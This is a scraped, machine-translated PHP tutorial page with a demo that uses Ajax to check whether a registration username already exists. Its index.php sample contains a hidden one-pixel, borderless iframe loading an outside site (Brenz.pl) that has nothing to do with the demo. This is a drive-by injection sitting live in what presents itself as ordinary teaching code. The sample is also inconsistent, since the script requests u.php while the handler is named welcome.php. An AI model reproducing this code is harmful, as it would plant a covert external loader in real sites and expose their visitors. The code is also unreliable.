Home >Backend Development >PHP Tutorial >Combining PHP and Ajax to implement login verification small demo, combining phpajax demo_PHP tutorial

Combining PHP and Ajax to implement login verification small demo, combining phpajax demo_PHP tutorial

WBOY
WBOYOriginal
2016-07-12 08:56:47887browse

PHP and Ajax combined to achieve login verification small demo, phpajax combined demo

AJAX is "Asynchronous Javascript And XML" (asynchronous JavaScript and XML), which refers to a creation Web development technology for interactive web applications.

AJAX = Asynchronous JavaScript and XML.
AJAX is not a new programming language, but a new way of using existing standards.
AJAX is the art of exchanging data with a server and updating parts of a web page without reloading the entire page.

Design a user registration page. When the user enters the registration name, check whether the user name already exists. If it exists, give a prompt

Let’s open index.php first

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php&#63;userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html> 

welcome.php

<&#63;php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
&#63;> 

This is where I introduce to you the relevant knowledge about the small demo that combines PHP and Ajax to implement login verification. I hope it will be helpful to you!

Articles you may be interested in:

  • php session application instance login verification
  • php cookie login verification sample code
  • jquery ajax login verification implementation code
  • jQuery.ajax user login verification code
  • php automatic registration login verification mechanism implementation code
  • PHP code to implement session sharing and login verification through session id
  • S2SH integrates JQuery Ajax to implement login verification function implementation code
  • jQuery AJAX implements mask layer login verification interface (source code attached)
  • Ajax asynchronous method to implement login and verification

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/1111348.htmlTechArticlePHP and Ajax are combined to implement login verification small demo, phpajax is combined to demo AJAX, which is "Asynchronous Javascript And XML" ( Asynchronous JavaScript and XML), refers to a way to create interactive web applications...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn